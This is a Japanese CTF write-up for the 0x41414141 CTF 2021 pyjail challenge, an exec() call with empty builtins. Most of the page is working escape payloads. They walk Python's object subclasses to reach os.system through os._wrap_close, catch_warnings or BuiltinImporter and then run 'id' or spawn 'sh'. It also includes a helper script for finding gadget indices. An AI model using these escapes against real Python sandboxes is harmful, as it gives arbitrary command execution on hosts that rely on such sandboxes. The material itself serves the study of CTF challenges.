pyjail wiki

0x41414141 CTF 2021 - pyjail

Challenge

基本的な builtins 制限の pyjail。

code = input()
exec(code, {'__builtins__': {}})

Solution

os._wrap_close ガジェット

os.popen() の戻り値のクラスで、__init__.__globals__ から os モジュールにアクセス可能:

# サブクラスから _wrap_close を探す
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('id')

インデックスで直接アクセス

# インデックスは環境依存
().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system']('sh')

探索スクリプト

for i, c in enumerate(().__class__.__bases__[0].__subclasses__()):
if '_wrap_close' in str(c):
print(f"Index: {i}, Class: {c}")

Technical Details

os._wrap_close の仕組み

import os
# os.popen() は _wrap_close オブジェクトを返す
f = os.popen('id')
type(f) # <class 'os._wrap_close'>
# __init__ メソッドは os モジュール内で定義されている
f.__init__.__globals__['system'] # os.system

サブクラスの探索

# 全サブクラスを列挙
for i, c in enumerate(object.__subclasses__()):
# __init__ が関数オブジェクトかチェック
if hasattr(c, '__init__') and hasattr(c.__init__, '__globals__'):
if 'system' in c.__init__.__globals__:
print(f"[{i}] {c.__name__}: has system")

よく使われるガジェット

クラス用途
os._wrap_closesystem, popen
warnings.catch_warnings_module.__builtins__
BuiltinImporterload_module()

Alternative Solutions

別解1: catch_warnings

[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')

別解2: BuiltinImporter

[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'BuiltinImporter'][0].load_module('os').system('id')

Flag

flag{...}

References

  • 0x41414141 CTF 2021 Official